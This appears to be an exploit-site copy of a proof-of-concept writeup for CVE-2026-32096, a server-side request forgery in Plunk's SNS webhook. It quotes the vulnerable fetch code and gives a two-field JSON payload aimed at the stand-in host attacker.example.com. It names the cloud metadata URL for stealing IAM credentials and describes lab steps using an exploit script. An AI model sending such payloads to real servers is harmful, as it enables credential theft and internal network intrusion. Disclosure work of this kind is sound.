Share
## https://sploitus.com/exploit?id=1FB7AA93-9941-5865-AABC-8800FFF8F476
# CVE-2026-32096

**SSRF via unvalidated AWS SNS SubscriptionConfirmation in [useplunk/plunk](https://github.com/useplunk/plunk)**

## Summary

The Plunk API endpoint `POST /webhooks/sns` fetches an attacker-supplied `SubscribeURL` without verifying the AWS SNS cryptographic signature. An unauthenticated attacker can force the server to make arbitrary outbound HTTP requests (SSRF).

| | |
|---|---|
| **Severity** | Critical โ€” CVSS 9.3 (`AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N`) |
| **CWE** | [CWE-918: Server-Side Request Forgery](https://cwe.mitre.org/data/definitions/918.html) |
| **Affected file** | `apps/api/src/controllers/Webhooks.ts` |
| **Auth required** | None |

## Vulnerable Code

```typescript
// apps/api/src/controllers/Webhooks.ts
if (req.body.Type === 'SubscriptionConfirmation') {
  const confirmResponse = await fetch(req.body.SubscribeURL); // SSRF โ€” no signature validation
  if (confirmResponse.ok) {
    return res.status(200).json({ success: true, message: 'Subscription confirmed' });
  }
}
```

The minimum payload is just two fields:

```json
{
  "Type": "SubscriptionConfirmation",
  "SubscribeURL": "http://attacker.example.com/callback"
}
```

## Impact

- **AWS EC2/ECS**: Steal IAM credentials via `http://169.254.169.254/latest/meta-data/iam/security-credentials/`
- **Internal services**: Reach databases, Redis, Kubernetes API, or other non-internet-exposed services
- **Port scanning**: Enumerate internal ports via timing and error-based responses

## Reproduction

### Prerequisites

- Docker & Docker Compose
- Python 3

### Steps

1. **Start the Plunk test environment:**

   ```bash
   docker compose up -d
   ```

2. **Start the SSRF callback listener:**

   ```bash
   python3 listener.py
   ```

3. **Run the exploit:**

   ```bash
   chmod +x exploit.sh
   ./exploit.sh
   ```

4. **Observe** the callback hit in `listener.py` output, confirming the server fetched the attacker-controlled URL.

## Files

| File | Description |
|---|---|
| `exploit.sh` | End-to-end exploit script โ€” sends forged SNS payload to the vulnerable endpoint |
| `listener.py` | SSRF callback listener โ€” captures and logs incoming requests from the Plunk server |
| `docker-compose.yml` | Minimal Docker Compose environment (Postgres, Redis, Plunk) for local reproduction |

## References

- [AWS SNS: Verifying the signatures of Amazon SNS messages](https://docs.aws.amazon.com/sns/latest/dg/sns-verify-signature-of-message.html)
- [OWASP SSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)